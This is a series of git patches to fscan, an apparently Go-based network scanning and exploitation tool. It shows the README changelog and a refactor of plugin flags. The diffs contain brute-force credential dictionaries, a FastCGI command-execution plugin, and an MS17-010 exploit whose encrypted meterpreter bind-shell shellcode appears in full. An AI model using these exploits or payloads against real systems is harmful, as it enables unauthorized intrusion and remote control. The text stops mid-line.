[404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups. - -- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) - - -# 7. Star Chart -[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) - -# 8. Donation - If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png) - -# 9. Reference links -https://github.com/Adminisme/ServerScan -https://github.com/netxfly/x-crack -https://github.com/hack2fun/Gscan -https://github.com/k8gege/LadonGo -https://github.com/jjf012/gopoc - - -# 10. Dynamics -[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function -[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format. -[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc. -[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users. -Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default. -[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread. -[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito -[+] 2022/1/11 Add oracle password explosion. -[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default. -[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list) -[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability. -[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once. -[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection. -[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle. -[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc. -[+] 2021/4/22 Modify webtitle module and add gbk decoding. -[+] 2021/4/21 Add netbios detection and domain control identification functions. -[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs. -[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details. -[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA. -[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection. -Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds. -[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing. -[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users) -[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported. -[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module. -[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout). -[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B. -[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips. - -[url-doczh]: README.md \ No newline at end of file diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index ac345db..5ac0175 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -132,7 +132,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body)) if err != nil { - //fmt.Println("[-] newRequest error: ",err) return false, err } newRequest.Header = oReq.Header.Clone() @@ -149,7 +148,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { // 先判断响应页面是否匹配search规则 if rule.Search != "" { result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if result != nil && len(result) > 0 { // 正则匹配成功 + if len(result) > 0 { // 正则匹配成功 for k, v := range result { variableMap[k] = v } @@ -161,7 +160,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { if err != nil { return false, err } - //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) + //如果false不继续执行后续rule // 如果最后一步执行失败,就算前面成功了最终依旧是失败 flag, ok = out.Value().(bool) @@ -445,7 +444,6 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re // newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) if err != nil { - //fmt.Println("[-] newRequest error:",err) return false, err } newRequest.Header = oReq.Header.Clone() @@ -477,7 +475,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } return false, err } - //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) + if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败 } diff --git a/WebScan/lib/eval.go b/WebScan/lib/eval.go index 796e70f..7c2a0b3 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/eval.go @@ -570,7 +570,7 @@ func reverseCheck(r *Reverse, timeout int64) bool { time.Sleep(time.Second * time.Duration(timeout)) sub := strings.Split(r.Domain, ".")[0] urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) - //fmt.Println(urlStr) + req, _ := http.NewRequest("GET", urlStr, nil) resp, err := DoRequest(req, false) if err != nil { @@ -621,7 +621,6 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { oResp, err = ClientNoRedirect.Do(req) } if err != nil { - //fmt.Println("[-]DoRequest error: ",err) return nil, err } defer oResp.Body.Close() diff --git a/common/config.go b/common/config.go index 605e12e..a35cac7 100644 --- a/common/config.go +++ b/common/config.go @@ -1,6 +1,5 @@ package common -var version = "1.8.2" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, @@ -59,49 +58,6 @@ type PocInfo struct { PocName string } -var ( - Path string - Scantype string - Command string - SshKey string - Domain string - Username string - Password string - Proxy string - Timeout int64 = 3 - WebTimeout int64 = 5 - TmpSave bool - NoPing bool - Ping bool - Pocinfo PocInfo - IsWebCan bool - IsBrute bool - RedisFile string - RedisShell string - Userfile string - Passfile string - HostFile string - PortFile string - PocPath string - Threads int - URL string - UrlFile string - Urls []string - NoPorts string - NoHosts string - SC string - PortAdd string - UserAdd string - PassAdd string - BruteThread int - LiveTop int - Socks5Proxy string - Hash string - HashBytes []byte - HostPort []string - IsWmi bool -) - var ( UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" diff --git a/common/flag.go b/common/flag.go index eaeca0d..8961b0a 100644 --- a/common/flag.go +++ b/common/flag.go @@ -2,39 +2,52 @@ package common import ( "flag" - "runtime" - "runtime/debug" - "time" ) -func init() { - go func() { - for { - GC() - time.Sleep(10 * time.Second) - } - }() -} - -func GC() { - runtime.GC() - debug.FreeOSMemory() -} - -func Banner() { - banner := ` - ___ _ - / _ \ ___ ___ _ __ __ _ ___| | __ - / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / -/ /_\\_____\__ \ (__| | | (_| | (__| < -\____/ |___/\___|_| \__,_|\___|_|\_\ - fscan version: ` + version + ` -` - print(banner) -} +var ( + Path string + Scantype string + Command string + SshKey string + Domain string + Username string + Password string + Proxy string + Timeout int64 = 3 + WebTimeout int64 = 5 + TmpSave bool + NoPing bool + Ping bool + Pocinfo PocInfo + IsWebCan bool + IsBrute bool + RedisFile string + RedisShell string + Userfile string + Passfile string + HostFile string + PortFile string + PocPath string + Threads int + URL string + UrlFile string + Urls []string + NoPorts string + NoHosts string + SC string + PortAdd string + UserAdd string + PassAdd string + BruteThread int + LiveTop int + Socks5Proxy string + Hash string + HashBytes []byte + HostPort []string + IsWmi bool +) func Flag(Info *HostInfo) { - Banner() flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") diff --git a/main.go b/main.go deleted file mode 100644 index 0ae3db3..0000000 --- a/main.go +++ /dev/null @@ -1,18 +0,0 @@ -package main - -import ( - "fmt" - "github.com/shadow1ng/fscan/Plugins" - "github.com/shadow1ng/fscan/common" - "time" -) - -func main() { - start := time.Now() - var Info common.HostInfo - common.Flag(&Info) - common.Parse(&Info) - Plugins.Scan(Info) - t := time.Now().Sub(start) - fmt.Printf("[*] 扫描结束,耗时: %s\n", t) -} From 29b746ee80bd5e4902c738e876c9efdefed1d363 Mon Sep 17 00:00:00 2001 From: noname Date: Fri, 9 Jun 2023 08:13:56 -0400 Subject: [PATCH 02/46] flags to struct --- Plugins/CVE-2020-0796.go | 12 ++-- Plugins/NetBIOS.go | 25 ++++---- Plugins/fcgiscan.go | 20 +++--- Plugins/findnet.go | 13 ++-- Plugins/ftp.go | 19 +++--- Plugins/icmp.go | 10 +-- Plugins/memcached.go | 9 +-- Plugins/mongodb.go | 15 ++--- Plugins/ms17010-exp.go | 12 ++-- Plugins/ms17010.go | 19 +++--- Plugins/mssql.go | 21 ++++--- Plugins/mysql.go | 21 ++++--- Plugins/oracle.go | 19 +++--- Plugins/portscan.go | 16 ++--- Plugins/postgres.go | 17 ++--- Plugins/rdp.go | 46 ++++++++------ Plugins/redis.go | 43 ++++++------- Plugins/scanner.go | 70 ++++++++++----------- Plugins/smb.go | 27 ++++---- Plugins/smb2.go | 37 +++++------ Plugins/ssh.go | 26 ++++---- Plugins/webtitle.go | 32 +++++----- Plugins/wmiexec.go | 24 +++---- WebScan/WebScan.go | 25 ++++---- WebScan/lib/check.go | 25 ++++---- WebScan/lib/client.go | 17 ++--- common/Parse.go | 131 ++++++++++++++++++++------------------- common/ParseIP.go | 24 ++++--- common/config.go | 21 +++---- common/flag.go | 127 +++++++++++++++++++++---------------- common/log.go | 5 +- common/proxy.go | 36 ++++++----- 32 files changed, 507 insertions(+), 457 deletions(-) diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index d8bc772..5eb7cb0 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -94,18 +94,18 @@ const ( "\x00\x00\x00\x00" ) -func SmbGhost(info *common.HostInfo) error { - if common.IsBrute { +func SmbGhost(info common.HostInfo, flags common.Flags) error { + if flags.IsBrute { return nil } - err := SmbGhostScan(info) + err := SmbGhostScan(info, flags) return err } -func SmbGhostScan(info *common.HostInfo) error { - ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second +func SmbGhostScan(info common.HostInfo, flags common.Flags) error { + ip, port, timeout := info.Host, 445, time.Duration(flags.Timeout)*time.Second addr := fmt.Sprintf("%s:%v", info.Host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) + conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, timeout) defer func() { if conn != nil { conn.Close() diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index 5dfef12..2ed7f7f 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -4,18 +4,19 @@ import ( "bytes" "errors" "fmt" - "github.com/shadow1ng/fscan/common" - "gopkg.in/yaml.v3" "net" "strconv" "strings" "time" + + "github.com/shadow1ng/fscan/common" + "gopkg.in/yaml.v3" ) var errNetBIOS = errors.New("netbios error") -func NetBIOS(info *common.HostInfo) error { - netbios, _ := NetBIOS1(info) +func NetBIOS(info common.HostInfo, flags common.Flags) error { + netbios, _ := NetBIOS1(info, flags) output := netbios.String() if len(output) > 0 { result := fmt.Sprintf("[*] NetBios: %-15s %s ", info.Host, output) @@ -25,8 +26,8 @@ func NetBIOS(info *common.HostInfo) error { return errNetBIOS } -func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { - netbios, err = GetNbnsname(info) +func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, err error) { + netbios, err = GetNbnsname(info, flags.Timeout) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { ss := netbios.ServerService @@ -40,7 +41,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { } realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) var conn net.Conn - conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err = common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -49,7 +50,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { if err != nil { return } - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) if err != nil { return } @@ -88,11 +89,11 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { return } -func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func GetNbnsname(info common.HostInfo, timeout int64) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) - conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := net.DialTimeout("udp", realhost, time.Duration(timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -101,7 +102,7 @@ func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { if err != nil { return } - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(timeout) * time.Second)) if err != nil { return } @@ -208,7 +209,7 @@ type NetBiosInfo struct { NetComputerName string `yaml:"NetBiosComputerName"` } -func (info *NetBiosInfo) String() (output string) { +func (info NetBiosInfo) String() (output string) { var text string //ComputerName 信息比较全 if info.ComputerName != "" { diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index 1c95e5d..1dba1e8 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -19,22 +19,22 @@ import ( //https://xz.aliyun.com/t/9544 //https://github.com/wofeiwo/webcgi-exploits -func FcgiScan(info *common.HostInfo) { - if common.IsBrute { +func FcgiScan(info common.HostInfo, flags common.Flags) { + if flags.IsBrute { return } url := "/etc/issue" - if common.Path != "" { - url = common.Path + if flags.Path != "" { + url = flags.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) var reqParams string var cutLine = "-----ASDGTasdkk361363s-----\n" switch { - case common.Command == "read": + case flags.Command == "read": reqParams = "" - case common.Command != "": - reqParams = "" + case flags.Command != "": + reqParams = "" default: reqParams = "" } @@ -55,7 +55,7 @@ func FcgiScan(info *common.HostInfo) { env["REQUEST_METHOD"] = "GET" } - fcgi, err := New(addr, common.Timeout) + fcgi, err := New(addr, flags) defer func() { if fcgi.rwc != nil { fcgi.rwc.Close() @@ -183,8 +183,8 @@ type FCGIClient struct { keepAlive bool } -func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) +func New(addr string, flags common.Flags) (fcgi *FCGIClient, err error) { + conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) fcgi = &FCGIClient{ rwc: conn, keepAlive: false, diff --git a/Plugins/findnet.go b/Plugins/findnet.go index 5c1e1b7..25a4a44 100644 --- a/Plugins/findnet.go +++ b/Plugins/findnet.go @@ -4,9 +4,10 @@ import ( "bytes" "encoding/hex" "fmt" - "github.com/shadow1ng/fscan/common" "strings" "time" + + "github.com/shadow1ng/fscan/common" ) var ( @@ -15,14 +16,14 @@ var ( bufferV3, _ = hex.DecodeString("0900ffff0000") ) -func Findnet(info *common.HostInfo) error { - err := FindnetScan(info) +func Findnet(info common.HostInfo, flags common.Flags) error { + err := FindnetScan(info, flags) return err } -func FindnetScan(info *common.HostInfo) error { +func FindnetScan(info common.HostInfo, flags common.Flags) error { realhost := fmt.Sprintf("%s:%v", info.Host, 135) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -31,7 +32,7 @@ func FindnetScan(info *common.HostInfo) error { if err != nil { return err } - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) if err != nil { return err } diff --git a/Plugins/ftp.go b/Plugins/ftp.go index 2f84e61..429574f 100644 --- a/Plugins/ftp.go +++ b/Plugins/ftp.go @@ -2,18 +2,19 @@ package Plugins import ( "fmt" - "github.com/jlaffaye/ftp" - "github.com/shadow1ng/fscan/common" "strings" "time" + + "github.com/jlaffaye/ftp" + "github.com/shadow1ng/fscan/common" ) -func FtpScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return } starttime := time.Now().Unix() - flag, err := FtpConn(info, "anonymous", "") + flag, err := FtpConn(info, "anonymous", "", flags.Timeout) if flag && err == nil { return err } else { @@ -28,7 +29,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { for _, user := range common.Userdict["ftp"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := FtpConn(info, user, pass) + flag, err := FtpConn(info, user, pass, flags.Timeout) if flag && err == nil { return err } else { @@ -38,7 +39,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * flags.Timeout) { return err } } @@ -47,10 +48,10 @@ func FtpScan(info *common.HostInfo) (tmperr error) { return tmperr } -func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func FtpConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(common.Timeout)*time.Second)) + conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second)) if err == nil { err = conn.Login(Username, Password) if err == nil { diff --git a/Plugins/icmp.go b/Plugins/icmp.go index 8e08a56..afe021d 100644 --- a/Plugins/icmp.go +++ b/Plugins/icmp.go @@ -21,14 +21,14 @@ var ( livewg sync.WaitGroup ) -func CheckLive(hostslist []string, Ping bool) []string { +func CheckLive(hostslist []string, ping bool, liveTop int) []string { chanHosts := make(chan string, len(hostslist)) go func() { for ip := range chanHosts { if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { ExistHosts[ip] = struct{}{} if !common.Silent { - if !Ping { + if !ping { fmt.Printf("(icmp) Target %-15s is alive\n", ip) } else { fmt.Printf("(ping) Target %-15s is alive\n", ip) @@ -40,7 +40,7 @@ func CheckLive(hostslist []string, Ping bool) []string { } }() - if Ping { + if ping { // use ping detection RunPing(hostslist, chanHosts) } else { @@ -74,14 +74,14 @@ func CheckLive(hostslist []string, Ping bool) []string { close(chanHosts) if len(hostslist) > 1000 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, true) for i := 0; i < len(arrTop); i++ { output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i]) common.LogSuccess(output) } } if len(hostslist) > 256 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, false) for i := 0; i < len(arrTop); i++ { output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i]) common.LogSuccess(output) diff --git a/Plugins/memcached.go b/Plugins/memcached.go index 361edc1..e9a8e30 100644 --- a/Plugins/memcached.go +++ b/Plugins/memcached.go @@ -2,21 +2,22 @@ package Plugins import ( "fmt" - "github.com/shadow1ng/fscan/common" "strings" "time" + + "github.com/shadow1ng/fscan/common" ) -func MemcachedScan(info *common.HostInfo) (err error) { +func MemcachedScan(info common.HostInfo, flags common.Flags) (err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + client, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) defer func() { if client != nil { client.Close() } }() if err == nil { - err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = client.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) if err == nil { _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten if err == nil { diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go index cc81424..6ee891f 100644 --- a/Plugins/mongodb.go +++ b/Plugins/mongodb.go @@ -2,16 +2,17 @@ package Plugins import ( "fmt" - "github.com/shadow1ng/fscan/common" "strings" "time" + + "github.com/shadow1ng/fscan/common" ) -func MongodbScan(info *common.HostInfo) error { - if common.IsBrute { +func MongodbScan(info common.HostInfo, flags common.Flags) error { + if flags.IsBrute { return nil } - _, err := MongodbUnauth(info) + _, err := MongodbUnauth(info, flags) if err != nil { errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) common.LogError(errlog) @@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error { return err } -func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { +func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err error) { flag = false // op_msg packet1 := []byte{ @@ -48,7 +49,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) checkUnAuth := func(address string, packet []byte) (string, error) { - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) if err != nil { return "", err } @@ -57,7 +58,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { conn.Close() } }() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) if err != nil { return "", err } diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go index 5309671..cfa4c90 100644 --- a/Plugins/ms17010-exp.go +++ b/Plugins/ms17010-exp.go @@ -14,10 +14,10 @@ import ( "github.com/shadow1ng/fscan/common" ) -func MS17010EXP(info *common.HostInfo) { +func MS17010EXP(info common.HostInfo, flags common.Flags) { address := info.Host + ":445" var sc string - switch common.SC { + switch flags.SC { case "bind": //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" @@ -34,16 +34,16 @@ func MS17010EXP(info *common.HostInfo) { sc_enc := 